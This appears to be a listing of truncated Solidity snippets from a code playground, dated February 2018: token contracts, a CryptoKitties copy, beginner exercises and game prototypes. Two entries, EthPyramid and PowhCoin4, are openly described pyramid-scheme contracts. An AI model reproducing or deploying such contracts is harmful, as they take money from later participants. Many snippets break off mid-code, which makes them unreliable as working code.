  // 构造函数设置合约主人
  function Ownable() {
    owner = msg.sender;
  }

  // 函数修改器:检测权限
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }

  // 用户权限转移
  function transferOwnership(address newOwner) onlyOwner {
    if (newOwner != address(0)) {
      owner = newOwner;
    }
  }
}

// ERC721接口
/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
/// @author Dieter Shirley <[email protected]> (https://github.com/dete)
contract ERC721 {
    // Required methods
    function totalSupply() public view returns (uint256 total);
    function balanceOf(address _owner) public view returns (uint256 balance);
    function ownerOf(uint256 _tokenId) external view returns (address owner);
    function appr
Feb 05, 2018 13:00:52 UTC
// Contract address: 0x0cf1cbb130e48d9273e16491f77908024560e8e7
// Contract name: PowhCoin4
// Etherscan link: https://etherscan.io/address/0x0cf1cbb130e48d9273e16491f77908024560e8e7#code
pragma solidity ^0.4.18;

// If you wanna escape this contract REALLY FAST
// 1. open MEW/METAMASK
// 2. Put this as data: 0xb1e35242
// 3. send 150000+ gas
// That calls the getMeOutOfHere() method

contract PowhCoin4 {
    uint256 constant PRECISION = 0x10000000000000000; // 2^64
    int constant CRRN = 1;
    int constant CRRD = 2;
    int constant LOGC = -0x296ABF784A358468C;

    string constant public name = "PowhCoin4";
    string constant public symbol = "POWH4";

    uint8 constant public decimals = 18;
    uint256 public totalSupply;

    // amount of shares for each address (scaled number)
    mapping(address => uint256) public balanceOfOld;

    // allowance map, see erc20
    mapping(address => mapping(address => uint256)) public allowance;

    // amount payed out for each address (sca
Feb 05, 2018 11:56:14 UTC
pragma solidity ^0.4.11;
contract exeyERC20Token {



function totalSupply() constant returns (uint256 totalSupply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);


Feb 05, 2018 11:33:54 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.11;
contract exeyERC20Token {

  

function totalSupply() constant returns (uint256 totalSupply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);


Feb 05, 2018 11:32:28 UTC
// Задание №1
// Написать код, который будет показывать число в блокчейне

contract contract_1 {

    uint public value; // число в блокчейне

    function setValue(uint _value) public {
        value = _value; // публикация числа
     }

}

// Задание №2
// Написать код, который будет показывать число в блокчейне за определенные деньги

contract contract_2 {

    uint public value; // число в блокчейне
    uint public minimalPrice = 1 finney; // цена публикации сообщения

    function setValue(uint _value) public payable {
        require(msg.value > minimalPrice); // проверка на то, что пользоватил перевёл достаточно средств
        value = _value; // публикация числа
    }

}

// Задание №3
// Написать код, которы
Feb 05, 2018 11:15:19 UTC
// CryptoKitties Source code
// Copied from: https://etherscan.io/address/0x06012c8cf97bead5deae237070f9587f8e7a266d#code
// for study

pragma solidity ^0.4.11;

/**
 * 权限控制
 */
contract Ownable {
  address public owner;

  // 构造函数设置合约主人
  function Ownable() {
    owner = msg.sender;
  }

  // 函数修改器:检测权限
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }

  // 用户权限转移
  function transferOwnership(address newOwner) onlyOwner {
    if (newOwner != address(0)) {
      owner = newOwner;
    }
  }
}

// ERC721接口
/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
/// @author Dieter Shirley <[email protected]> (https://github.com/dete)
contract ERC721 {
    // Required methods
    function totalSupply() public view returns (uint256 total);
    function balanceOf(address _owner) public view returns (uint256 balance);
    function ownerOf(uint256 _tokenId) external view returns (address owner);
    function appr
Feb 05, 2018 09:02:40 UTC
pragma solidity ^0.4.18;
contract MyContract {
  struct Cat {
    uint id;
    uint age;
    uint point;
  }
  Cat[] cats;
  function getCat(uint _id) public view returns(uint[]){
    uint[] memory retCat = new uint[](3);
    if(cats.length <= _id){
      return retCat;
    }
    Cat memory cat = cats[_id];
    retCat[0] = cat.id;
    retCat[1] = cat.age;
    retCat[2] = cat.point;
    return retCat;
  }
  function getCatAll() public view returns(uint[]){
    uint len = cats.length;
    uint[] memory data = new uint[](3*len);
    uint dataIdx = 0;
    for(uint i=0; i<len; i++){
      Cat memory cat = cats[i];
      data[dataIdx++] = cat.id;
      data[dataIdx++] = cat.age;
      data[dataIdx++] = cat.point;
    }
    return data;
  }
  function generateCat() public returns (uint[]){
    Cat memory cat;
    cat.id = cats.length;
    cat.age = cat.id + 1000;
    cat.point = cat.id + 100000;
    cats.push(cat);
    // for return
    uint[] memory catData = new uint[](3);
    catData[0] = cat.id;
    catData[1] =
Feb 05, 2018 08:50:25 UTC
// Contract address: 0x76a2eaa876ce3580b0c10f8a3f01021f566e82bd
// Contract name: CreateBitsytask
// Etherscan link: https://etherscan.io/address/0x76a2eaa876ce3580b0c10f8a3f01021f566e82bd#code
pragma solidity ^0.4.18;

contract Ownable {
  address public owner;
  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
  function Ownable() public {
    owner = msg.sender;
  }
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }
  function transferOwnership(address newOwner) public onlyOwner {
    require(newOwner != address(0));
    OwnershipTransferred(owner, newOwner);
    owner = newOwner;
  }
}
library SafeMath {
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
  }
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a / b;
    return c;
  }
  function sub(uint256 a, uint256 
Feb 05, 2018 06:00:32 UTC
//zcl-test
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }


  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Feb 05, 2018 03:31:33 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
}

sdkj  dklsjf
  dkfj
      dkfj
Feb 05, 2018 03:20:03 UTC
// Contract address: 0x1a98c59d5498324fa3ce5ff93c5a3ffb985160b8
// Contract name: EthPyramid
// Etherscan link: https://etherscan.io/address/0x1a98c59d5498324fa3ce5ff93c5a3ffb985160b8#code
pragma solidity ^0.4.18;

/*
          ,/`.
        ,'/ __`.
      ,'_/_  _ _`.
    ,'__/_ ___ _  `.
  ,'_  /___ __ _ __ `.
 '-.._/___...-"-.-..__`.
  B

 EthPyramid. A no-bullshit, transparent, self-sustaining pyramid scheme.
 
 Inspired by https://test.jochen-hoenicke.de/eth/ponzitoken/

 Developers:
	Arc
	Divine
	Norsefire
	ToCsIcK
	
 Front-End:
	Cardioth
	tenmei
	Trendium
	
 Moral Support:
	DeadCow.Rat
	Dots
	FatKreamy
	Kaseylol
	QuantumDeath666
	Quentin
 
 Shit-Tier:
	HentaiChrist
 
*/

contract EthPyramid {

	// scaleFactor is used to convert Ether into tokens and vice-versa: they're of different
	// orders of magnitude, hence the need to bridge between the two.
	uint256 constant scaleFactor = 0x10000000000000000;  // 2^64

	// CRR = 50%
	// CRR is Cash Reserve Ratio (in t
Feb 04, 2018 19:44:17 UTC
// Contract address: 0x550f6406647daa6a6642086289b6f3a6035d2d7c
// Contract name: JCP
// Etherscan link: https://etherscan.io/address/0x550f6406647daa6a6642086289b6f3a6035d2d7c#code
pragma solidity ^0.4.19;

interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }

contract JCP {
    // Public variables of the token
    string public name;
    string public symbol;
    uint8 public decimals = 18;
    uint256 public totalSupply;

    // This creates an array with all balances
    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) public allowance;

    // This generates a public event on the blockchain that will notify clients
    event Transfer(address indexed from, address indexed to, uint256 value);

    // This notifies clients about the amount burnt
    event Burn(address indexed from, uint256 value);

    /**
     * Constrctor function
     *
     * Initializes c
Feb 04, 2018 16:08:15 UTC
// Contract address: 0x76a2eaa876ce3580b0c10f8a3f01021f566e82bd
// Contract name: CreateBitsytask
// Etherscan link: https://etherscan.io/address/0x76a2eaa876ce3580b0c10f8a3f01021f566e82bd#code
pragma solidity ^0.4.4;

contract Token {

    /// @return total amount of tokens
    function totalSupply() constant returns (uint256 supply) {}

    /// @param _owner The address from which the balance will be retrieved
    /// @return The balance
    function balanceOf(address _owner) constant returns (uint256 balance) {}

    /// @notice send `_value` token to `_to` from `msg.sender`
    /// @param _to The address of the recipient
    /// @param _value The amount of token to be transferred
    /// @return Whether the transfer was successful or not
    function transfer(address _to, uint256 _value) returns (bool success) {}

    /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
    /// @param _from The address of the sender
    /// @param _to The addr
Feb 04, 2018 12:36:16 UTC
// Contract address: 0x4ec46a41f2ec90f718dca2e94d123eda9ffb7619
// Contract name: GRO
// Etherscan link: https://etherscan.io/address/0x4ec46a41f2ec90f718dca2e94d123eda9ffb7619#code
pragma solidity 0.4.18;

contract Token { // ERC20 standard

    function balanceOf(address _owner) public constant returns (uint256 balance);
    function transfer(address _to, uint256 _value) public returns (bool success);
    function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
    function approve(address _spender, uint256 _value) public returns (bool success);
    function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
    event Transfer(address indexed _from, address indexed _to, uint256 _value);
    event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}

contract SafeMath {

  function safeMul(uint a, uint b) pure internal returns (uint) {
    uint c = a * b;
    assert(a == 0 || c / a == b);
Feb 04, 2018 12:36:15 UTC
// Contract address: 0x4efca42496ec176f1d56b21dbad7031477ec583d
// Contract name: BBXCoin
// Etherscan link: https://etherscan.io/address/0x4efca42496ec176f1d56b21dbad7031477ec583d#code
pragma solidity ^0.4.16;

contract owned {
    address public owner;

    function owned() public {
        owner = msg.sender;
    }

    modifier onlyOwner {
        require(msg.sender == owner);
        _;
    }

    function transferOwnership(address newOwner) onlyOwner public {
        owner = newOwner;
    }
}

interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }

contract BBXCoin {
    string public constant _myTokeName = 'BBX Coin';//change here
    string public constant _mySymbol = 'BBX';//change here
    uint public constant _myinitialSupply = 19999999;//leave it
    uint8 public constant _myDecimal = 8;//leave it
    // Public variables of the token
    string public name;
    string public symbol;
    uint8 publi
Feb 04, 2018 12:36:14 UTC
// Contract address: 0x8a8ca863f73992fcc43dd64c7261ba9dcc8e2181
// Contract name: SpaceTRIEUToken
// Etherscan link: https://etherscan.io/address/0x8a8ca863f73992fcc43dd64c7261ba9dcc8e2181#code
pragma solidity ^0.4.18;

contract Ownable {
  address public owner;
  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
  function Ownable() public {
    owner = msg.sender;
  }
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }
  function transferOwnership(address newOwner) public onlyOwner {
    require(newOwner != address(0));
    OwnershipTransferred(owner, newOwner);
    owner = newOwner;
  }
}
library SafeMath {
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
  }
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a / b;
    return c;
  }
  function sub(uint256 a, uint256 
Feb 04, 2018 12:36:13 UTC
pragma solidity ^0.4.18;

//   REVERSE A STRING  found the guts to this on SO
//    - added Solidity Contract formating for Remix and EthFiddle testing
//    Enter a string, always in  " quotes"   returns setouq

contract reverseAstring {

function reverseString(string base) public pure returns(string){
        bytes memory baseBytes = bytes(base);
        assert(baseBytes.length > 0);

        string memory tempString = new string(baseBytes.length);
        bytes memory newString = bytes(tempString);


        for(uint i=0;i<baseBytes.length;i++){
            newString[ baseBytes.length - i - 1] = baseBytes[i];
        }

        return string(newString);
    }
Feb 04, 2018 09:20:40 UTC
pragma solidity ^0.4.18; // solhint-disable-line



/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
/// @author Dieter Shirley <[email protected]> (https://github.com/dete)
contract ERC721 {
  // Required methods
  function approve(address _to, uint256 _tokenId) public;
  function balanceOf(address _owner) public view returns (uint256 balance);
  function implementsERC721() public pure returns (bool);
  function ownerOf(uint256 _tokenId) public view returns (address addr);
  function takeOwnership(uint256 _tokenId) public;
  function totalSupply() public view returns (uint256 total);
  function transferFrom(address _from, address _to, uint256 _tokenId) public;
  function transfer(address _to, uint256 _tokenId) public;

  event Transfer(address indexed from, address indexed to, uint256 tokenId);
  event Approval(address indexed owner, address indexed approved, uint256 tokenId);

  // Optional
  // function name() public view returns (string name);
  // function symbol() public view
Feb 04, 2018 08:39:38 UTC
// Contract address: 0xba1e1663316245463d82bc239a4461ba7befb741
// Contract name: BetWinner
// Etherscan link: https://etherscan.io/address/0xba1e1663316245463d82bc239a4461ba7befb741#code
pragma solidity ^0.4.18;

/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 * functions, this simplifies the implementation of "user permissions".
 */
contract Ownable {
  address public owner;


  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() public {
    owner = msg.sender;
  }


  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }


  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to 
Feb 03, 2018 22:12:15 UTC
// Contract address: 0x7f2a6fb65bcb31c56872d6e9bf48016292d7e198
// Contract name: TicketPro
// Etherscan link: https://etherscan.io/address/0x7f2a6fb65bcb31c56872d6e9bf48016292d7e198#code
//params (fee set to 0 so it's free):
//  [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15], "MJ comeback", 1603152000, "21/10/2020", "MGM grand", "MJC", 1000
// "0x000000000000000000000000000000000000000000000000016a6075a7170002", 27, "0xE26D930533CF5E36051C576E1988D096727F28A4AB638DBE7729BCC067BD06C8", "0x76EBAA64A541D1DE054F4B63B586E7FEB485C1B3E85EA463F873CA69307EEEAA"

pragma solidity ^0.4.17;
contract TicketPro
{
    uint totalTickets;
    mapping(address => uint16[]) inventory;
    mapping(address => uint) spent;
    uint16 ticketIndex = 0; //to track mapping in tickets
    uint expiryTimeStamp;
    address organiser;
    uint transferFee;
    uint numOfTransfers = 0;
    string public name;
    string public symbol;
    string public date;
    string public venue;
    uint startPrice;
    uint ti
Feb 03, 2018 21:56:12 UTC
// Contract address: 0xa5edf5dc5c1fe08b9122168cb0b7235ad33a198d
// Contract name: ERC20Token
// Etherscan link: https://etherscan.io/address/0xa5edf5dc5c1fe08b9122168cb0b7235ad33a198d#code
pragma solidity ^0.4.4;

contract Token {

    /// @return total amount of tokens
    function totalSupply() constant returns (uint256 supply) {}

    /// @param _owner The address from which the balance will be retrieved
    /// @return The balance
    function balanceOf(address _owner) constant returns (uint256 balance) {}

    /// @notice send `_value` token to `_to` from `msg.sender`
    /// @param _to The address of the recipient
    /// @param _value The amount of token to be transferred
    /// @return Whether the transfer was successful or not
    function transfer(address _to, uint256 _value) returns (bool success) {}

    /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
    /// @param _from The address of the sender
    /// @param _to The address o
Feb 03, 2018 19:40:14 UTC
pragma solidity ^0.4.18; // solhint-disable-line



/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
/// @author Dieter Shirley <[email protected]> (https://github.com/dete)
contract ERC721 {
  // Required methods
  function approve(address _to, uint256 _tokenId) public;
  function balanceOf(address _owner) public view returns (uint256 balance);
  function implementsERC721() public pure returns (bool);
  function ownerOf(uint256 _tokenId) public view returns (address addr);
  function takeOwnership(uint256 _tokenId) public;
  function totalSupply() public view returns (uint256 total);
  function transferFrom(address _from, address _to, uint256 _tokenId) public;
  function transfer(address _to, uint256 _tokenId) public;

  event Transfer(address indexed from, address indexed to, uint256 tokenId);
  event Approval(address indexed owner, address indexed approved, uint256 tokenId);

  // Optional
  // function name() public view returns (string name);
  // function symbol() public view
Feb 03, 2018 17:09:43 UTC
// Contract address: 0x350184b593af623cb6f4334400f4116a6e44bd49
// Contract name: FutureChain02
// Etherscan link: https://etherscan.io/address/0x350184b593af623cb6f4334400f4116a6e44bd49#code
pragma solidity ^0.4.18;
/*
 * Math operations with safety checks
 */
contract SafeMath {
  function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
    return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
  }

  function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
    // assert(b > 0); // Solidity automatically throws when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold
    return c;
  }

  function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}

Feb 03, 2018 04:40:14 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.19;

import "./ownable.sol"; // Permissions library 

contract connectionEstablishment is Ownable{
  uint bidFee = 0.001 ether; // Fee to post a bid

  // This is how we withdraw fees collected
  function withdraw() external onlyOwner {
    owner.transfer(this.balance);
  }
  // This is how we update the fee
  function setBidFee(uint _fee) external onlyOwner {
    bidFee = _fee;
  }

  struct Bid {
    uint32 sourceAddress; // SO IP
    uint16 sourcePort; // SO Port
    uint32 destinationAddress; // Sat Cat Number
    uint16 destinationPort; // Satellite Port
    uint32 token; // token required for MPTCP transport
    address paymentAddress; // This should be send to msg.sender
    uint64 reward; // Payment per block
    bool status; // Open or closed
  }

  Bid[] public marketplace; // initialize a public listing of bids

  mapping (uint => address) public bidToOwner; // Mapping for which bid ownershi
Feb 02, 2018 23:23:25 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.19;

import "./ownable.sol"; // Permissions library 

contract connectionEstablishment is Ownable{
  uint bidFee = 0.001 ether; // Fee to post a bid

  // This is how we withdraw fees collected
  function withdraw() external onlyOwner {
    owner.transfer(this.balance);
  }
  // This is how we update the fee
  function setBidFee(uint _fee) external onlyOwner {
    bidFee = _fee;
  }

  struct Bid {
    uint32 sourceAddress; // SO IP
    uint16 sourcePort; // SO Port
    uint32 destinationAddress; // Sat Cat Number
    uint16 destinationPort; // Satellite Port
    uint32 token; // token required for MPTCP transport
    address paymentAddress; // This should be send to msg.sender
    uint64 reward; // Payment per block
  }

  Bid[] public marketplace; // initialize a public listing of bids

  mapping (uint => address) public bidToOwner; // Mapping for which bid ownership
  mapping (address => uint) owner
Feb 02, 2018 22:45:29 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  struct Dog {
    uint age;
  }

  struct Person {
    Dog dog;
  }
  
  mapping(address)

  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }
Feb 02, 2018 21:30:47 UTC
pragma solidity ^0.4.18;


contract DamageCalculator {

    struct MonsterDamage {
        GameEngine.DamageType damageType;
        uint amount;
    }

    struct Monster {
        uint32 id;
        uint32 mobSize;
        GameEngine.MonsterType monsterType;
        uint8 level;
        uint dungeonId;

        uint health;
        uint experience;

        // monsters can have up to 3 attacks
        MonsterDamage attack1;
        MonsterDamage attack2;
        MonsterDamage attack3;
        
        // default damage multiplier
        uint defenseSlash;
        uint defenseBash;
        uint defensePierce;
        uint defenseFire;
        uint defenseIce;
        uint defenseLightning;
    }


    function canFinishDungeon(uint keyId) public pure returns (
        uint mob1attack,
        uint mob2attack) {
        
        Monster[] memory mobs = new Monster[](3);

        // get dungeon from key

        // get hero from key

        // get gear from key

        // spawn all of the monsters (this wou
Feb 02, 2018 19:49:36 UTC
pragma solidity ^0.4.18;
contract Expression {
  mapping( address => uint[] ) internal userMessages;
  function sendMessage(uint _message) external {
    userMessages[msg.sender].push(_message);
  }
  function bytes32ToString(bytes32 x) constant returns (string) {
    bytes memory bytesString = new bytes(32);
    uint  charCount = 0;
    for (uint  j = 0; j < 32; j++) {
        byte char = byte(bytes32(uint(x) * 2 ** (8 * j)));
        if (char != 0) {
            bytesString[charCount] = char;
            charCount++;
        }
    }
    bytes memory bytesStringTrimmed = new bytes(charCount);
    for (j = 0; j < charCount; j++) {
        bytesStringTrimmed[j] = bytesString[j];
    }
    return string(bytesStringTrimmed);
}
  function getMessageByOwner(address _add) public view returns(uint[]) {
    return userMessages[_add];
  }
  function getMyMessage() public view returns(uint[]) {
    return userMessages[msg.sender];
  }
  function test(bytes32 _test) external view returns(string){
    return bytes32ToStr
Feb 02, 2018 18:27:48 UTC
pragma solidity ^0.4.18;
contract Expression {
  mapping( address => uint[] ) internal userMessages;
  function sendMessage(uint _message) external {
    userMessages[msg.sender].push(_message);
  }
  function getMessageByOwner(address _add) public view returns(uint[]) {
    return userMessages[_add];
  }
  function getMyMessage() public view returns(uint[]) {
    return userMessages[msg.sender];
  }
  function test() external view returns(address){
    return msg.sender;
  }
Feb 02, 2018 18:13:47 UTC
pragma solidity ^0.4.18;


contract DamageCalculator {

    struct MonsterDamage {
        GameEngine.DamageType damageType;
        uint amount;
    }

    struct Monster {
        uint32 id;
        uint32 mobSize;
        GameEngine.MonsterType monsterType;
        uint8 level;
        uint dungeonId;

        uint health;
        uint experience;

        // monsters can have up to 3 attacks
        MonsterDamage attack1;
        MonsterDamage attack2;
        MonsterDamage attack3;
        
        // default damage multiplier
        uint defenseSlash;
        uint defenseBash;
        uint defensePierce;
        uint defenseFire;
        uint defenseIce;
        uint defenseLightning;
    }


    function canFinishDungeon(uint keyId) public pure returns (uint, uint) {
        
        Monster[] memory mobs = new Monster[](3);

        // get dungeon from key

        // get hero from key

        // get gear from key

        // spawn all of the monsters (this would normally come from the dungeon bits)
Feb 02, 2018 16:12:31 UTC
pragma solidity ^0.4.18;


contract DamageCalculator {

    struct MonsterDamage {
        GameEngine.DamageType damageType;
        uint amount;
    }

    struct Monster {
        uint32 id;
        uint32 mobSize;
        GameEngine.MonsterType monsterType;
        uint8 level;
        uint dungeonId;

        uint health;
        uint experience;

        // monsters can have up to 3 attacks
        MonsterDamage attack1;
        MonsterDamage attack2;
        MonsterDamage attack3;
        
        // default damage multiplier
        uint defenseSlash;
        uint defenseBash;
        uint defensePierce;
        uint defenseFire;
        uint defenseIce;
        uint defenseLightning;
    }


    function canFinishDungeon(uint keyId) external returns (bool) {
        
        Monster[] memory mobs = new Monster[](3);

        // get dungeon from key

        // get hero from key

        // get gear from key

        // spawn all of the monsters (this would normally come from the dungeon bits)
        
Feb 02, 2018 15:59:45 UTC
pragma solidity ^0.4.18;


library Mob {

    struct MonsterDamage {
        GameEngine.DamageType damageType;
        uint amount;
    }

    struct Monster {
        uint32 id;
        uint32 mobSize;
        GameEngine.MonsterType monsterType;
        uint8 level;
        uint dungeonId;

        uint health;
        uint experience;

        // monsters can have up to 3 attacks
        MonsterDamage attack1;
        MonsterDamage attack2;
        MonsterDamage attack3;
        
        // default damage multiplier
        uint defenseSlash;
        uint defenseBash;
        uint defensePierce;
        uint defenseFire;
        uint defenseIce;
        uint defenseLightning;
    }

    
    function spawn(Monster storage self, uint32 monsterId, uint32 mobSize, uint8 level, uint dungeonId) public {
        self.health = 1000;
        /*
        _id = monsterId;
        _mobSize = mobSize;
        _level = level;
        _dungeonId = dungeonId;
        
        if (monsterId == 1) {
            createGoblins
Feb 02, 2018 15:39:02 UTC
pragma solidity ^0.4.18;


contract Mob {

    struct MonsterDamage {
        GameEngine.DamageType damageType;
        uint amount;
    }

    struct Monster {
        uint32 id;
        uint32 mobSize;
        GameEngine.MonsterType monsterType;
        uint8 level;
        uint dungeonId;

        uint health;
        uint experience;

        // monsters can have up to 3 attacks
        MonsterDamage attack1;
        MonsterDamage attack2;
        MonsterDamage attack3;
        
        // default damage multiplier
        uint defenseSlash;
        uint defenseBash;
        uint defensePierce;
        uint defenseFire;
        uint defenseIce;
        uint defenseLightning;
    }

    
    function spawn(uint32 monsterId, uint32 mobSize, uint8 level, uint dungeonId) {
        /*
        _id = monsterId;
        _mobSize = mobSize;
        _level = level;
        _dungeonId = dungeonId;
        
        if (monsterId == 1) {
            createGoblins();
        } else if (monsterId == 2) {
            cre
Feb 02, 2018 14:54:27 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  struct Object {
    uint id;
    uint stat1;
  }
  Object value;
  function set(uint id, uint _value) public {
    Object memory o = Object(id, _value);
    internalSet(o);    
  }
  function internalSet(Object o) internal {
    value = o;
  }
  function internalGet() internal view returns (Object storage o) {
    return value;
  }
  function get() public view returns (uint) {
    Object memory o = internalGet();
    return o.stat1;
  }

Feb 02, 2018 14:33:54 UTC
pragma solidity ^0.4.18;

/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 * functions, this simplifies the implementation of "user permissions".
 */
contract Ownable {
  address public owner;

  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() public {
    owner = msg.sender;
  }


  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }


  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) public onlyOwner {
    require(newOwner != address(0));
    OwnershipTransferred(owner, newOwner);
    owner = newOwner;
  }

}

contract ZombieFact
Feb 02, 2018 07:51:54 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.

pragma solidity ^0.4.18;
//   Another Daalgorithm   by FaRdr     Solidity Learning Tool  

contract testofifstatement{
    
    // pick an integer number between 1 and 10
    // assume right number is 5.5 to limit to 2 choices
    // yes -  this means you can't win. 
    
string high;
string low;

// constructor function

function testofifstatement() public{
    high = "too high,try again";
    low = "too low, take another shot";
}


function INPUT(uint inputnumber) public view returns (string){
     
      if(inputnumber > 5) {
          return high;
          
      }else{
          return low;
      }
}
Feb 02, 2018 07:20:05 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
pragma solidity ^0.4.18;

/*  Knock Knock
          Anyone remember knock knock jokes?
          
          Purpose : to show what exactly 
          contract input entries look like in the contract	
          
          Enter an AMOUNT   in the Value. 
          Play with wei or gwei or finny oe Ether selctor
          Note the test Account your using - switch around
*/

// Just a little Solidity coding practice

contract KnockKnock {
    
    string last;
    address yourname;
    uint howMuch;
   
// Constructor function/ same name as contract, only runs once/ set stuff up
  
   function KnockKnock() public payable {
   yourname = msg.sender;
   howMuch = msg.value;
   last = " To Who You Too!!!!!!";
}


// Go ahead function
   function KNOCK_KNOCK() public view returns (address Whos_there) {
   return yourname;
 }

// Second time  function
   function How_Much() public view returns(uint){
   re
Feb 02, 2018 07:13:05 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.

pragma solidity ^0.4.18;

// Hash something  and then shape it into a number of specified digits length hash it plus one
// ________________________
//ie: the hash for 100 17385872270140913825666367956517731270094621555228275961425792378517567244498
//   to    4 digits
  
 //CryptoZombies lessons inspired this one
    
  

contract RandomIshNumber {


uint hashShort;

// Constructor optional - not neeeded


function Range4HowManyDigits(uint digitsNumber) public pure returns(uint Range0to ) {
uint hashCut = 10 ** digitsNumber;
return hashCut-1;
}



  

function GetResult(uint enterAnumber,uint digitsNber) public pure returns(uint) {
uint hashOut = uint(keccak256((enterAnumber)));
uint hashRnd = hashOut;
uint hashCut = 10 ** digitsNber;
return hashRnd % hashCut;
}



function FullHash4Mynumber(uint enterAnumber) public pure returns(uint) {
uint hashOut = uint(keccak256(enterAnumber));
        return hashOut;

}

Feb 02, 2018 07:09:05 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Feb 02, 2018 04:34:32 UTC
pragma solidity ^0.4.16;

// copyright [email protected]

contract SafeMath {

    /* function assert(bool assertion) internal { */
    /*   if (!assertion) { */
    /*     throw; */
    /*   } */
    /* }      // assert no longer needed once solidity is on 0.4.10 */

    function safeAdd(uint256 x, uint256 y) pure internal returns(uint256) {
      uint256 z = x + y;
      assert((z >= x) && (z >= y));
      return z;
    }

    function safeSubtract(uint256 x, uint256 y) pure internal returns(uint256) {
      assert(x >= y);
      uint256 z = x - y;
      return z;
    }

    function safeMult(uint256 x, uint256 y) pure internal returns(uint256) {
      uint256 z = x * y;
      assert((x == 0)||(z/x == y));
      return z;
    }

}

contract BasicAccessControl {
    address public owner;
    // address[] public moderators;
    uint16 public totalModerators = 0;
    mapping (address => bool) public moderators;
    bool public isMaintaining = true;

    function BasicAccessControl() public {
        owner 
